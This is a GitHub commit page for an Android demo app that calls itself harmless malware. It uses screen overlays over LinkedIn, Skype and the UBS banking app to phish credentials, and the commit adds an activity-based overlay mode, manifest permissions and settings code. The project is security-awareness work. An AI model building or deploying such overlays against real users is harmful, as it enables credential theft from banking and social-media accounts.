Skip to content

Commit 12c8acc

Browse files
wizchewizche
committed
Added activity overlay, updated README
1 parent ab5d8ee commit 12c8acc

File tree

20 files changed

+390
-119
lines changed

20 files changed

+390
-119
lines changed

‎README.md‎

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,28 @@
22

33
Harmless Android malware using the overlay technique to steal user credentials.
44

5-
> **UPDATE** starting with Android 5.1 the [ActivityManager.getRunningAppProcess](http://developer.android.com/reference/android/app/ActivityManager.html#getRunningAppProcesses) API don't return all processes running on the system anymore. We moved to Usage Stats API which requires the user to enable this permission manually. If you want to test on this version you need to enable the application via Settings -> Security -> Apps with usage access
5+
> **UPDATE** starting with Android 5.1 the [ActivityManager.getRunningAppProcess](http://developer.android.com/reference/android/app/ActivityManager.html#getRunningAppProcesses) API don't return all processes running on the system anymore. We moved to a more *naive* solution which doesn't require any permissions, for more information [press here](http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag).
66
77
## Disclamier
88
This software is intended to sensitize users to this kind of attacks.
99
Don't use it for any other purposes!
1010

11+
## Quick Start
12+
In the main screen you can select which application are going to be overlayed (currently between Linkedin, Skype, and UBS Mobile App).
13+
Furthermore you can choose the type of overlay between:
14+
* View overlay with `WindowsManager.addView`
15+
* Activity overlay with `startActivity`
16+
17+
The application has been tested on Nexus 5 with Android 6 (Real device) and Nexus 5X with Android 4.4.2 (Emulator).
18+
19+
For more background information about overlays please check our [last blog post](http://www.geeksonsecurity.com/android-overlay-malware/2016/07/27/android-overlay-malware-analysis/).
20+
1121
## Some screenshots
1222
### Home Screen
1323
<img src="images/home.png" width="450" height="800"/>
24+
1425
### Skype Overlay
1526
<img src="images/skype_overlay.png" width="450" height="800"/>
27+
1628
### UBS Overlay
1729
<img src="images/ubs_overlay.png" width="450" height="800"/>

‎android-overlay-malware-example.iml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
<content url="file://$MODULE_DIR$">
1414
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
1515
</content>
16-
<orderEntry type="inheritedJdk" />
16+
<orderEntry type="jdk" jdkName="1.7" jdkType="JavaSDK" />
1717
<orderEntry type="sourceFolder" forTests="false" />
1818
</component>
1919
</module>

‎app/app.iml‎

Lines changed: 32 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,7 @@
1212
<option name="SELECTED_TEST_ARTIFACT" value="_android_test_" />
1313
<option name="ASSEMBLE_TASK_NAME" value="assembleDebug" />
1414
<option name="COMPILE_JAVA_TASK_NAME" value="compileDebugSources" />
15-
<option name="ASSEMBLE_TEST_TASK_NAME" value="assembleDebugAndroidTest" />
16-
<option name="COMPILE_JAVA_TEST_TASK_NAME" value="compileDebugAndroidTestSources" />
1715
<afterSyncTasks>
18-
<task>generateDebugAndroidTestSources</task>
1916
<task>generateDebugSources</task>
2017
</afterSyncTasks>
2118
<option name="ALLOW_USER_CONFIGURATION" value="false" />
@@ -28,7 +25,7 @@
2825
</component>
2926
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7" inherit-compiler-output="false">
3027
<output url="file://$MODULE_DIR$/build/intermediates/classes/debug" />
31-
<output-test url="file://$MODULE_DIR$/build/intermediates/classes/androidTest/debug" />
28+
<output-test url="file://$MODULE_DIR$/build/intermediates/classes/test/debug" />
3229
<exclude-output />
3330
<content url="file://$MODULE_DIR$">
3431
<sourceFolder url="file://$MODULE_DIR$/build/generated/source/r/debug" isTestSource="false" generated="true" />
@@ -50,41 +47,63 @@
5047
<sourceFolder url="file://$MODULE_DIR$/src/debug/java" isTestSource="false" />
5148
<sourceFolder url="file://$MODULE_DIR$/src/debug/jni" isTestSource="false" />
5249
<sourceFolder url="file://$MODULE_DIR$/src/debug/rs" isTestSource="false" />
50+
<sourceFolder url="file://$MODULE_DIR$/src/debug/shaders" isTestSource="false" />
51+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/res" type="java-test-resource" />
52+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/resources" type="java-test-resource" />
53+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/assets" type="java-test-resource" />
54+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/aidl" isTestSource="true" />
55+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/java" isTestSource="true" />
56+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/jni" isTestSource="true" />
57+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/rs" isTestSource="true" />
58+
<sourceFolder url="file://$MODULE_DIR$/src/testDebug/shaders" isTestSource="true" />
5359
<sourceFolder url="file://$MODULE_DIR$/src/main/res" type="java-resource" />
5460
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
5561
<sourceFolder url="file://$MODULE_DIR$/src/main/assets" type="java-resource" />
5662
<sourceFolder url="file://$MODULE_DIR$/src/main/aidl" isTestSource="false" />
5763
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
5864
<sourceFolder url="file://$MODULE_DIR$/src/main/jni" isTestSource="false" />
5965
<sourceFolder url="file://$MODULE_DIR$/src/main/rs" isTestSource="false" />
66+
<sourceFolder url="file://$MODULE_DIR$/src/main/shaders" isTestSource="false" />
6067
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/res" type="java-test-resource" />
6168
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/resources" type="java-test-resource" />
6269
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/assets" type="java-test-resource" />
6370
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/aidl" isTestSource="true" />
6471
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/java" isTestSource="true" />
6572
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/jni" isTestSource="true" />
6673
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/rs" isTestSource="true" />
74+
<sourceFolder url="file://$MODULE_DIR$/src/androidTest/shaders" isTestSource="true" />
75+
<sourceFolder url="file://$MODULE_DIR$/src/test/res" type="java-test-resource" />
76+
<sourceFolder url="file://$MODULE_DIR$/src/test/resources" type="java-test-resource" />
77+
<sourceFolder url="file://$MODULE_DIR$/src/test/assets" type="java-test-resource" />
78+
<sourceFolder url="file://$MODULE_DIR$/src/test/aidl" isTestSource="true" />
79+
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
80+
<sourceFolder url="file://$MODULE_DIR$/src/test/jni" isTestSource="true" />
81+
<sourceFolder url="file://$MODULE_DIR$/src/test/rs" isTestSource="true" />
82+
<sourceFolder url="file://$MODULE_DIR$/src/test/shaders" isTestSource="true" />
6783
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/assets" />
84+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/blame" />
85+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/builds" />
6886
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/bundles" />
6987
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/classes" />
70-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/coverage-instrumented-classes" />
7188
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/dependency-cache" />
72-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/dex" />
73-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/dex-cache" />
7489
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/appcompat-v7/22.2.0/jars" />
7590
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/exploded-aar/com.android.support/support-v4/22.2.0/jars" />
7691
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental" />
77-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/jacoco" />
78-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/javaResources" />
79-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/libs" />
80-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/lint" />
92+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental-classes" />
93+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental-runtime-classes" />
94+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental-safeguard" />
95+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/incremental-verifier" />
96+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/instant-run-support" />
97+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/jniLibs" />
8198
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/manifests" />
82-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/ndk" />
8399
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/pre-dexed" />
84-
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/proguard" />
100+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/reload-dex" />
85101
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/res" />
102+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/restart-dex" />
86103
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/rs" />
104+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/shaders" />
87105
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/symbols" />
106+
<excludeFolder url="file://$MODULE_DIR$/build/intermediates/transforms" />
88107
<excludeFolder url="file://$MODULE_DIR$/build/outputs" />
89108
<excludeFolder url="file://$MODULE_DIR$/build/tmp" />
90109
</content>

‎app/build.gradle‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@ android {
88
applicationId "com.geeksonsecurity.malwaredemo"
99
minSdkVersion 14
1010
targetSdkVersion 22
11-
versionCode 1
12-
versionName "1.0"
11+
versionCode 2
12+
versionName "1.1"
1313
}
1414

1515
buildTypes {

‎app/src/main/AndroidManifest.xml‎

Lines changed: 13 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
<uses-permission android:name="android.permission.GET_TASKS" />
77
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
88
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
9-
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
109

1110
<uses-sdk
1211
android:minSdkVersion="11"
@@ -15,17 +14,28 @@
1514
android:allowBackup="true"
1615
android:icon="@mipmap/ic_launcher"
1716
android:label="@string/app_name"
18-
android:theme="@style/AppBaseTheme">
17+
android:theme="@android:style/Theme.Black">
1918
<service android:name="com.geeksonsecurity.malwaredemo.MainService" />
19+
2020
<activity
2121
android:name="com.geeksonsecurity.malwaredemo.MainActivity"
2222
android:configChanges="orientation|screenSize"
23-
android:label="@string/app_name">
23+
android:label="@string/app_name"
24+
android:launchMode="singleTop"
25+
android:screenOrientation="portrait"
26+
android:theme="@style/Theme.AppCompat">
2427
<intent-filter>
2528
<action android:name="android.intent.action.MAIN" />
2629
<category android:name="android.intent.category.LAUNCHER" />
2730
</intent-filter>
2831
</activity>
32+
<activity
33+
android:name=".OverlayActivity"
34+
android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize|uiMode"
35+
android:excludeFromRecents="true"
36+
android:launchMode="singleTask"
37+
android:theme="@style/OverlayTheme"
38+
android:windowSoftInputMode="stateUnchanged" />
2939

3040
<receiver
3141
android:name="com.geeksonsecurity.malwaredemo.BootReceiver"

‎app/src/main/java/com/geeksonsecurity/malwaredemo/MainActivity.java‎

Lines changed: 17 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,24 @@
11
package com.geeksonsecurity.malwaredemo;
22

3+
import android.app.Activity;
34
import android.content.Intent;
45
import android.os.Bundle;
56
import android.support.v7.app.ActionBar;
67
import android.support.v7.app.ActionBarActivity;
8+
import android.support.v7.app.AppCompatActivity;
79
import android.text.Html;
810
import android.view.View;
11+
import android.widget.ArrayAdapter;
912
import android.widget.Button;
1013
import android.widget.CheckBox;
14+
import android.widget.Spinner;
1115
import android.widget.TextView;
1216
import android.widget.Toast;
1317

18+
import com.geeksonsecurity.malwaredemo.domain.OverlayType;
1419
import com.geeksonsecurity.malwaredemo.domain.Settings;
1520

16-
public class MainActivity extends ActionBarActivity {
21+
public class MainActivity extends AppCompatActivity {
1722

1823
@Override
1924
protected void onCreate(Bundle savedInstanceState) {
@@ -45,19 +50,28 @@ protected void onStart() {
4550
ubsBanking.setChecked(s.isUbsEnabled());
4651

4752
Button save = (Button) findViewById(R.id.saveButton);
53+
final Spinner overlayTypeSpinner = (Spinner)findViewById(R.id.overlayTypeSpinner);
4854
save.setOnClickListener(new View.OnClickListener() {
4955
@Override
5056
public void onClick(View view) {
57+
OverlayType overlayType = (OverlayType) overlayTypeSpinner.getSelectedItem();
5158
s.setSkypeEnabled(skype.isChecked());
5259
s.setUbsEnabled(ubsBanking.isChecked());
5360
s.setLinkedinEnabled(linkedin.isChecked());
61+
s.setOverlayType(overlayType);
5462
Settings.Save(getApplicationContext(), s);
5563
Toast.makeText(MainActivity.this, "Saved!", Toast.LENGTH_SHORT).show();
56-
stopService();
57-
startService();
64+
Intent intent = new Intent(getApplicationContext(), MainService.class);
65+
intent.setAction(ServiceCommunication.UPDATE_SETTINGS);
66+
startService(intent);
5867
}
5968
});
6069

70+
ArrayAdapter<OverlayType> detectionEngineArrayAdapter = new ArrayAdapter<>(this,
71+
android.R.layout.simple_list_item_1, OverlayType.values());
72+
overlayTypeSpinner.setAdapter(detectionEngineArrayAdapter);
73+
overlayTypeSpinner.setSelection(detectionEngineArrayAdapter.getPosition(s.getOverlayType()));
74+
6175
TextView footer = (TextView) findViewById(R.id.footer);
6276
footer.setText(Html.fromHtml(getString(R.string.footer)));
6377
}
@@ -66,9 +80,4 @@ private void startService() {
6680
Intent intent = new Intent(this, MainService.class);
6781
startService(intent);
6882
}
69-
70-
private void stopService() {
71-
Intent intent = new Intent(this, MainService.class);
72-
stopService(intent);
73-
}
7483
}

0 commit comments

Comments
 (0)